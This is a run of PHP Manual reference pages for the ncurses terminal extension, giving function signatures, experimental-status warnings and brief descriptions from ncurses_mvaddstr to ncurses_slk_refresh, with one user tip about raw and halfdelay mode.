Move position and add string

ncurses_mvaddnstr
ncurses_mvcur
Ncurses Functions
PHP Manual

ncurses_mvaddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddstr — Move position and add string

Description

int ncurses_mvaddstr ( int $y , int $x , string $s )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvaddnstr
ncurses_mvcur
Ncurses Functions


Move cursor immediately

ncurses_mvaddstr
ncurses_mvdelch
Ncurses Functions
PHP Manual

ncurses_mvcur

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvcur — Move cursor immediately

Description

int ncurses_mvcur ( int $old_y , int $old_x , int $new_y , int $new_x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

old_y

old_x

new_y

new_x

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvaddstr
ncurses_mvdelch
Ncurses Functions


Move position and delete character, shift rest of line left

ncurses_mvcur
ncurses_mvgetch
Ncurses Functions
PHP Manual

ncurses_mvdelch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvdelch — Move position and delete character, shift rest of line left

Description

int ncurses_mvdelch ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvcur
ncurses_mvgetch
Ncurses Functions


Move position and get character at new position

ncurses_mvdelch
ncurses_mvhline
Ncurses Functions
PHP Manual

ncurses_mvgetch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvgetch — Move position and get character at new position

Description

int ncurses_mvgetch ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvdelch
ncurses_mvhline
Ncurses Functions


Set new position and draw a horizontal line using an attributed character and max. n characters long

ncurses_mvgetch
ncurses_mvinch
Ncurses Functions
PHP Manual

ncurses_mvhline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvhline — Set new position and draw a horizontal line using an attributed character and max. n characters long

Description

int ncurses_mvhline ( int $y , int $x , int $attrchar , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

attrchar

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvgetch
ncurses_mvinch
Ncurses Functions


Move position and get attributed character at new position

ncurses_mvhline
ncurses_mvvline
Ncurses Functions
PHP Manual

ncurses_mvinch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvinch — Move position and get attributed character at new position

Description

int ncurses_mvinch ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvhline
ncurses_mvvline
Ncurses Functions


Set new position and draw a vertical line using an attributed character and max. n characters long

ncurses_mvinch
ncurses_mvwaddstr
Ncurses Functions
PHP Manual

ncurses_mvvline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvvline — Set new position and draw a vertical line using an attributed character and max. n characters long

Description

int ncurses_mvvline ( int $y , int $x , int $attrchar , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

attrchar

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvinch
ncurses_mvwaddstr
Ncurses Functions


Add string at new position in window

ncurses_mvvline
ncurses_napms
Ncurses Functions
PHP Manual

ncurses_mvwaddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvwaddstr — Add string at new position in window

Description

int ncurses_mvwaddstr ( resource $window , int $y , int $x , string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

window

y

x

text

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvvline
ncurses_napms
Ncurses Functions


Sleep

ncurses_mvwaddstr
ncurses_new_panel
Ncurses Functions
PHP Manual

ncurses_napms

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_napms — Sleep

Description

int ncurses_napms ( int $milliseconds )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

milliseconds

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvwaddstr
ncurses_new_panel
Ncurses Functions


Create a new panel and associate it with window

ncurses_napms
ncurses_newpad
Ncurses Functions
PHP Manual

ncurses_new_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_new_panel — Create a new panel and associate it with window

Description

resource ncurses_new_panel ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_napms
ncurses_newpad
Ncurses Functions


Creates a new pad (window)

ncurses_new_panel
ncurses_newwin
Ncurses Functions
PHP Manual

ncurses_newpad

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_newpad — Creates a new pad (window)

Description

resource ncurses_newpad ( int $rows , int $cols )
Warning

This function is currently not documented; only its argument list is available.

Parameters

rows

cols

User Contributed Notes

There are no user contributed notes for this page.
ncurses_new_panel
ncurses_newwin
Ncurses Functions


Create a new window

ncurses_newpad
ncurses_nl
Ncurses Functions
PHP Manual

ncurses_newwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_newwin — Create a new window

Description

resource ncurses_newwin ( int $rows , int $cols , int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new window to draw elements in.

When creating additional windows, remember to use ncurses_getmaxyx() to check for available space, as terminal size is individual and may vary.

Parameters

rows

Number of rows

cols

Number of columns

y

y-coordinate of the origin

x

x-coordinate of the origin

Return Values

Returns a resource ID for the new window.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_newpad
ncurses_nl
Ncurses Functions


Translate newline and carriage return / line feed

ncurses_newwin
ncurses_nocbreak
Ncurses Functions
PHP Manual

ncurses_nl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nl — Translate newline and carriage return / line feed

Description

bool ncurses_nl ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_newwin
ncurses_nocbreak
Ncurses Functions


Switch terminal to cooked mode

ncurses_nl
ncurses_noecho
Ncurses Functions
PHP Manual

ncurses_nocbreak

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nocbreak — Switch terminal to cooked mode

Description

bool ncurses_nocbreak ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns terminal to normal (cooked) mode. Initially the terminal may or may not in cbreak mode as the mode is inherited. Therefore a program should call ncurses_cbreak() and ncurses_nocbreak() explicitly.

Return Values

Returns TRUE if any error occurred, otherwise FALSE.

See Also

  • ncurses_cbreak() - Switch of input buffering

User Contributed Notes

There are no user contributed notes for this page.
ncurses_nl
ncurses_noecho
Ncurses Functions


Switch off keyboard input echo

ncurses_nocbreak
ncurses_nonl
Ncurses Functions
PHP Manual

ncurses_noecho

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noecho — Switch off keyboard input echo

Description

bool ncurses_noecho ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Prevents echoing of user typed characters.

Return Values

Returns TRUE if any error occurred, FALSE otherwise.

See Also

  • ncurses_echo() - Activate keyboard input echo
  • ncurses_getch() - Read a character from keyboard

User Contributed Notes

There are no user contributed notes for this page.
ncurses_nocbreak
ncurses_nonl
Ncurses Functions


Do not translate newline and carriage return / line feed

ncurses_noecho
ncurses_noqiflush
Ncurses Functions
PHP Manual

ncurses_nonl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nonl — Do not translate newline and carriage return / line feed

Description

bool ncurses_nonl ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_noecho
ncurses_noqiflush
Ncurses Functions


Do not flush on signal characters

ncurses_nonl
ncurses_noraw
Ncurses Functions
PHP Manual

ncurses_noqiflush

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noqiflush — Do not flush on signal characters

Description

void ncurses_noqiflush ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_nonl
ncurses_noraw
Ncurses Functions


Switch terminal out of raw mode

ncurses_noqiflush
ncurses_pair_content
Ncurses Functions
PHP Manual

ncurses_noraw

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noraw — Switch terminal out of raw mode

Description

bool ncurses_noraw ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Switches the terminal out of raw mode. Raw mode is similar to cbreak mode, in that characters typed are immediately passed through to the user program. The differences that are that in raw mode, the interrupt, quit, suspend and flow control characters are all passed through uninterpreted, instead of generating a signal.

Return Values

Returns TRUE if any error occurred, otherwise FALSE.

See Also

  • ncurses_raw() - Switch terminal into raw mode
  • ncurses_cbreak() - Switch of input buffering
  • ncurses_nocbreak() - Switch terminal to cooked mode

User Contributed Notes

There are no user contributed notes for this page.
ncurses_noqiflush
ncurses_pair_content
Ncurses Functions


Retrieves foreground and background colors of a color pair

ncurses_noraw
ncurses_panel_above
Ncurses Functions
PHP Manual

ncurses_pair_content

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_pair_content — Retrieves foreground and background colors of a color pair

Description

int ncurses_pair_content ( int $pair , int &$f , int &$b )

Retrieves the foreground and background colors that constitute the given color pair. Terminal color capabilities must be initialized with ncurses_start_color() prior to calling this function.

Parameters

pair

The number of the color pair to retrieve information for.

f

A reference to which to return the foreground color of the color pair. The information returned will be a color number referring to one of the pre-defined colors or a color defined previously by ncurses_init_color() if the terminal supports color changing.

b

A reference to which to return the background color of the color pair. The information returned will be a color number referring to one of the pre-defined colors or a color defined previously by ncurses_init_color() if the terminal supports color changing.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or terminal color capabilities have not been initialized.

See Also

  • ncurses_init_pair() - Define a color pair
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.
ncurses_noraw
ncurses_panel_above
Ncurses Functions


Returns the panel above panel

ncurses_pair_content
ncurses_panel_below
Ncurses Functions
PHP Manual

ncurses_panel_above

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_above — Returns the panel above panel

Description

resource ncurses_panel_above ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

Return Values

If panel is null, returns the bottom panel in the stack.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_pair_content
ncurses_panel_below
Ncurses Functions


Returns the panel below panel

ncurses_panel_above
ncurses_panel_window
Ncurses Functions
PHP Manual

ncurses_panel_below

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_below — Returns the panel below panel

Description

resource ncurses_panel_below ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

Parameters

If panel is null, returns the top panel in the stack.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_panel_above
ncurses_panel_window
Ncurses Functions


Returns the window associated with panel

ncurses_panel_below
ncurses_pnoutrefresh
Ncurses Functions
PHP Manual

ncurses_panel_window

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_window — Returns the window associated with panel

Description

resource ncurses_panel_window ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.
ncurses_panel_below
ncurses_pnoutrefresh
Ncurses Functions


Copies a region from a pad into the virtual screen

ncurses_panel_window
ncurses_prefresh
Ncurses Functions
PHP Manual

ncurses_pnoutrefresh

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_pnoutrefresh — Copies a region from a pad into the virtual screen

Description

int ncurses_pnoutrefresh ( resource $pad , int $pminrow , int $pmincol , int $sminrow , int $smincol , int $smaxrow , int $smaxcol )
Warning

This function is currently not documented; only its argument list is available.

Parameters

pad

pminrow

pmincol

sminrow

smincol

smaxrow

smaxcol

User Contributed Notes

There are no user contributed notes for this page.
ncurses_panel_window
ncurses_prefresh
Ncurses Functions


Copies a region from a pad into the virtual screen

ncurses_pnoutrefresh
ncurses_putp
Ncurses Functions
PHP Manual

ncurses_prefresh

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_prefresh — Copies a region from a pad into the virtual screen

Description

int ncurses_prefresh ( resource $pad , int $pminrow , int $pmincol , int $sminrow , int $smincol , int $smaxrow , int $smaxcol )
Warning

This function is currently not documented; only its argument list is available.

Parameters

pad

pminrow

pmincol

sminrow

smincol

smaxrow

smaxcol

User Contributed Notes

There are no user contributed notes for this page.
ncurses_pnoutrefresh
ncurses_putp
Ncurses Functions


Apply padding information to the string and output it

ncurses_prefresh
ncurses_qiflush
Ncurses Functions
PHP Manual

ncurses_putp

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_putp — Apply padding information to the string and output it

Description

int ncurses_putp ( string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

User Contributed Notes

There are no user contributed notes for this page.
ncurses_prefresh
ncurses_qiflush
Ncurses Functions


Flush on signal characters

ncurses_putp
ncurses_raw
Ncurses Functions
PHP Manual

ncurses_qiflush

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_qiflush — Flush on signal characters

Description

void ncurses_qiflush ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_putp
ncurses_raw
Ncurses Functions


Switch terminal into raw mode

ncurses_qiflush
ncurses_refresh
Ncurses Functions
PHP Manual

ncurses_raw

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_raw — Switch terminal into raw mode

Description

bool ncurses_raw ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Places the terminal in raw mode. Raw mode is similar to cbreak mode, in that characters typed are immediately passed through to the user program. The differences that are that in raw mode, the interrupt, quit, suspend and flow control characters are all passed through uninterpreted, instead of generating a signal.

Return Values

Returns TRUE if any error occurred, otherwise FALSE.

See Also

  • ncurses_noraw() - Switch terminal out of raw mode
  • ncurses_cbreak() - Switch of input buffering
  • ncurses_nocbreak() - Switch terminal to cooked mode

User Contributed Notes

israelbz at yahoo dot com dot mx 15-Mar-2006 01:15
nc_raw() will reset ncurses_halfdelay():

<?php
  //This don't set the halfdelay mode
  ncurses_halfdelay(9);
  ncurses_raw();
?>

If you want set halfdelay and raw be shure put halfdelay after
raw:

<?php
  //Correct sets the halfdelay mode
  ncurses_raw();
  ncurses_halfdelay(9);
?>
ncurses_qiflush
ncurses_refresh
Ncurses Functions


Refresh screen

ncurses_raw
ncurses_replace_panel
Ncurses Functions
PHP Manual

ncurses_refresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_refresh — Refresh screen

Description

int ncurses_refresh ( int $ch )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

ch

User Contributed Notes

There are no user contributed notes for this page.
ncurses_raw
ncurses_replace_panel
Ncurses Functions


Replaces the window associated with panel

ncurses_refresh
ncurses_reset_prog_mode
Ncurses Functions
PHP Manual

ncurses_replace_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_replace_panel — Replaces the window associated with panel

Description

int ncurses_replace_panel ( resource $panel , resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_refresh
ncurses_reset_prog_mode
Ncurses Functions


Resets the prog mode saved by def_prog_mode

ncurses_replace_panel
ncurses_reset_shell_mode
Ncurses Functions
PHP Manual

ncurses_reset_prog_mode

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_reset_prog_mode — Resets the prog mode saved by def_prog_mode

Description

int ncurses_reset_prog_mode ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_replace_panel
ncurses_reset_shell_mode
Ncurses Functions


Resets the shell mode saved by def_shell_mode

ncurses_reset_prog_mode
ncurses_resetty
Ncurses Functions
PHP Manual

ncurses_reset_shell_mode

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_reset_shell_mode — Resets the shell mode saved by def_shell_mode

Description

int ncurses_reset_shell_mode ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_reset_prog_mode
ncurses_resetty
Ncurses Functions


Restores saved terminal state

ncurses_reset_shell_mode
ncurses_savetty
Ncurses Functions
PHP Manual

ncurses_resetty

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_resetty — Restores saved terminal state

Description

bool ncurses_resetty ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Restores the terminal state, which was previously saved by calling ncurses_savetty().

Return Values

Always returns FALSE.

See Also

  • ncurses_savetty() - Saves terminal state

User Contributed Notes

There are no user contributed notes for this page.
ncurses_reset_shell_mode
ncurses_savetty
Ncurses Functions


Saves terminal state

ncurses_resetty
ncurses_scr_dump
Ncurses Functions
PHP Manual

ncurses_savetty

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_savetty — Saves terminal state

Description

bool ncurses_savetty ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the current terminal state. The saved terminal state can be restored with ncurses_resetty().

Return Values

Always returns FALSE.

See Also

  • ncurses_resetty() - Restores saved terminal state

User Contributed Notes

There are no user contributed notes for this page.
ncurses_resetty
ncurses_scr_dump
Ncurses Functions


Dump screen content to file

ncurses_savetty
ncurses_scr_init
Ncurses Functions
PHP Manual

ncurses_scr_dump

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_dump — Dump screen content to file

Description

int ncurses_scr_dump ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.
ncurses_savetty
ncurses_scr_init
Ncurses Functions


Initialize screen from file dump

ncurses_scr_dump
ncurses_scr_restore
Ncurses Functions
PHP Manual

ncurses_scr_init

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_init — Initialize screen from file dump

Description

int ncurses_scr_init ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.
ncurses_scr_dump
ncurses_scr_restore
Ncurses Functions


Restore screen from file dump

ncurses_scr_init
ncurses_scr_set
Ncurses Functions
PHP Manual

ncurses_scr_restore

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_restore — Restore screen from file dump

Description

int ncurses_scr_restore ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.
ncurses_scr_init
ncurses_scr_set
Ncurses Functions


Inherit screen from file dump

ncurses_scr_restore
ncurses_scrl
Ncurses Functions
PHP Manual

ncurses_scr_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_set — Inherit screen from file dump

Description

int ncurses_scr_set ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.
ncurses_scr_restore
ncurses_scrl
Ncurses Functions


Scroll window content up or down without changing current position

ncurses_scr_set
ncurses_show_panel
Ncurses Functions
PHP Manual

ncurses_scrl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scrl — Scroll window content up or down without changing current position

Description

int ncurses_scrl ( int $count )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

count

User Contributed Notes

There are no user contributed notes for this page.
ncurses_scr_set
ncurses_show_panel
Ncurses Functions


Places an invisible panel on top of the stack, making it visible

ncurses_scrl
ncurses_slk_attr
Ncurses Functions
PHP Manual

ncurses_show_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_show_panel — Places an invisible panel on top of the stack, making it visible

Description

int ncurses_show_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.
ncurses_scrl
ncurses_slk_attr
Ncurses Functions


Returns current soft label key attribute

ncurses_show_panel
ncurses_slk_attroff
Ncurses Functions
PHP Manual

ncurses_slk_attr

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attr — Returns current soft label key attribute

Description

int ncurses_slk_attr ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the current soft label key attribute.

Return Values

The attribute, as an integer.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_show_panel
ncurses_slk_attroff
Ncurses Functions


Turn off the given attributes for soft function-key labels

ncurses_slk_attr
ncurses_slk_attron
Ncurses Functions
PHP Manual

ncurses_slk_attroff

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attroff — Turn off the given attributes for soft function-key labels

Description

int ncurses_slk_attroff ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_attr
ncurses_slk_attron
Ncurses Functions


Turn on the given attributes for soft function-key labels

ncurses_slk_attroff
ncurses_slk_attrset
Ncurses Functions
PHP Manual

ncurses_slk_attron

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attron — Turn on the given attributes for soft function-key labels

Description

int ncurses_slk_attron ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_attroff
ncurses_slk_attrset
Ncurses Functions


Set given attributes for soft function-key labels

ncurses_slk_attron
ncurses_slk_clear
Ncurses Functions
PHP Manual

ncurses_slk_attrset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attrset — Set given attributes for soft function-key labels

Description

int ncurses_slk_attrset ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_attron
ncurses_slk_clear
Ncurses Functions


Clears soft labels from screen

ncurses_slk_attrset
ncurses_slk_color
Ncurses Functions
PHP Manual

ncurses_slk_clear

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_clear — Clears soft labels from screen

Description

bool ncurses_slk_clear ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

The function ncurses_slk_clear() clears soft label keys from screen.

Return Values

Returns TRUE on errors, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_attrset
ncurses_slk_color
Ncurses Functions


Sets color for soft label keys

ncurses_slk_clear
ncurses_slk_init
Ncurses Functions
PHP Manual

ncurses_slk_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_color — Sets color for soft label keys

Description

int ncurses_slk_color ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_clear
ncurses_slk_init
Ncurses Functions


Initializes soft label key functions

ncurses_slk_color
ncurses_slk_noutrefresh
Ncurses Functions
PHP Manual

ncurses_slk_init

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_init — Initializes soft label key functions

Description

bool ncurses_slk_init ( int $format )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Initializes soft label key functions

This function must be called before ncurses_init() or ncurses_newwin() is called.

Parameters

format

If ncurses_init() eventually uses a line from stdscr to emulate the soft labels, then this parameter determines how the labels are arranged of the screen.

0 indicates a 3-2-3 arrangement of the labels, 1 indicates a 4-4 arrangement and 2 indicates the PC like 4-4-4 mode, but in addition an index line will be created.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_color
ncurses_slk_noutrefresh
Ncurses Functions


Copies soft label keys to virtual screen

ncurses_slk_init
ncurses_slk_refresh
Ncurses Functions
PHP Manual

ncurses_slk_noutrefresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_noutrefresh — Copies soft label keys to virtual screen

Description

bool ncurses_slk_noutrefresh ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_slk_init
ncurses_slk_refresh
Ncurses Functions


Copies soft label keys to screen

ncurses_slk_noutrefresh
ncurses_slk_restore
Ncurses Functions
PHP Manual

ncurses_slk_refresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

